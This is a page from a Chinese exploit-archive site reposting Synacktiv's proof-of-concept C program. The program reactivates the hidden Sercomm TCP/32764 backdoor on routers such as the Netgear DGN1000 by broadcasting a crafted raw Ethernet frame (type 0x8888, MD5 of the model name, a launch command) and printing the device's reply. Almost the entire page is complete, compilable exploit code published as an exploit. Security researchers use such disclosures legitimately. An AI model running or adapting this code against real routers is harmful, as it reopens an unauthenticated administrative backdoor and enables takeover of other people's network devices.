首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Sercomm TCP/32674 Backdoor Reactivation
来源:http://www.synacktiv.com 作者:Synacktiv 发布时间:2014-04-21  
/***************************************
* PoC to reactivate Sercomm TCP/32674 backdoor
* See http://www.synacktiv.com/ressources/TCP32764_backdoor_again.pdf
* Eloi Vanderbeken - Synacktiv
* THIS SOFTWARE IS PROVIDED BY SYNACKTIV ''AS IS'' AND ANY
* EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
* WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
* DISCLAIMED. IN NO EVENT SHALL SYNACKTIV BE LIABLE FOR ANY
* DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
* PoC based on Wilmer van der Gaast's code 
* http://wiki.openwrt.org/_media/toh/netgear/dg834.g.v4/nftp.c
***************************************/
  
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <linux/if_ether.h>
#include <linux/if_packet.h>
#include <linux/if_arp.h>
#include <arpa/inet.h>
  
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
  
#define ETH_P_NFTP      0x8888
  
enum backdoor_command {
    PING_BACKDOOR = 0x200,
    SCFGMGR_LAUNCH,
    SET_IP
};
  
struct ether_header
{
    unsigned char ether_dhost[ETH_ALEN];
    unsigned char ether_shost[ETH_ALEN];
    unsigned short ether_type;
} eth;
  
struct raw_packet {
    struct ether_header header;
    uint16_t            type;
    uint16_t            sequence;
    uint16_t            offset;
    uint16_t            chunk;
    uint16_t            payload_len;
    uint8_t             payload[528];
};
  
int main(int argc, char *argv[])
{
    int sockfd, res, i, len;
    char src_mac[ETH_ALEN];
    struct ifreq iface;
    struct sockaddr_ll socket_address;
    struct raw_packet packet;
  
    memset(&packet, 0, sizeof(packet));
  
    if (argc < 2)
    {
        fprintf(stderr, "usage : %s [IFNAME]\n", argv[0]);
        exit(1);
    }
  
    sockfd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
    if (sockfd == -1) 
    {
        if(geteuid() != 0) 
        {
            fprintf(stderr, "You should probably run this program as root.\n");
        }
        perror("socket");
        exit(1);
    }
    seteuid(getuid());
  
    strncpy(iface.ifr_name, argv[1], IFNAMSIZ);
    res = ioctl(sockfd, SIOCGIFHWADDR, &iface);
    if(res < 0)
    {
        perror("ioctl");
        exit(1);
    }
    memcpy(src_mac, iface.ifr_hwaddr.sa_data, ETH_ALEN);
  
  
    res = ioctl(sockfd, SIOCGIFINDEX, &iface);
    if(res < 0)
    {
        perror("ioctl");
        exit(1);
    }
  
    // set src mac
    memcpy(packet.header.ether_shost, src_mac, ETH_ALEN);
    // broadcast
    memset(packet.header.ether_dhost, 0xFF, ETH_ALEN);
    // MD5("DGN1000")
    memcpy(packet.payload, "\x45\xD1\xBB\x33\x9B\x07\xA6\x61\x8B\x21\x14\xDB\xC0\xD7\x78\x3E", 0x10);
    packet.payload_len = htole16(0x10);
    // ethernet packet type = 0x8888
    packet.header.ether_type = htons(ETH_P_NFTP);
    // launch TCP/32764 backdoor
    packet.type = htole16(SCFGMGR_LAUNCH);
  
    socket_address.sll_family   = PF_PACKET;
    socket_address.sll_protocol = htons(ETH_P_NFTP);
    socket_address.sll_ifindex  = iface.ifr_ifindex;
    socket_address.sll_hatype   = ARPHRD_ETHER;
    socket_address.sll_pkttype  = PACKET_OTHERHOST;
    // broadcast
    socket_address.sll_halen = ETH_ALEN;
    memset(socket_address.sll_addr, 0xFF, ETH_ALEN);
  
    res = sendto(sockfd, &packet, 0x10 + 24, 0, (struct sockaddr *)&socket_address, sizeof(socket_address));
    if (res == -1)
    {
        perror("sendto");
        exit(1);
    }
  
    do {
        memset(&packet, 0, sizeof(packet));
        res = recvfrom(sockfd, &packet, sizeof(packet), 0, NULL, NULL);
        if (res == -1) 
        {
            perror("recvfrom");
            exit(1);
        }
    } while (ntohs(packet.header.ether_type) != ETH_P_NFTP);
  
    if (res < sizeof(packet) - sizeof(packet.payload))
    {
        fprintf(stderr, "packet is too short: %d bytes\n", res);
        exit(1);
    }
  
    len = be16toh(packet.payload_len); // SerComm has a real problem with endianness
    printf("received packet: %d bytes (payload len = %d) from ", res, len);
    for (i = 0; i < ETH_ALEN; i++)
        printf("%02X%c", packet.header.ether_shost[i], i == ETH_ALEN-1 ? '\n' : ':');
  
    for (i = 0; (i < len) && (i < sizeof(packet.payload)); i++)
    {
        printf("%02X ", packet.payload[i]);
        if ((i+1) % 16 == 0)
            printf("\n");
    }
    printf("\n");
    return 0;
}

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Nagios Remote Plugin Executor
·Linux group_info refcounter -
·Ruby OpenSSL Private Key Spoof
·Adobe Flash Player Regular Exp
·Jzip SEH Unicode Buffer Overfl
·ATSEngine credential disclosur
·SAP Router Password Timing Att
·Media Player Classic 1.3.1752.
·MS14-012 Microsoft Internet Ex
·No-CMS 0.6.6 rev 1 - Admin Acc
·Unitrends Enterprise Backup 7.
·Bonefire v.0.7.1 - Reinstall A
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved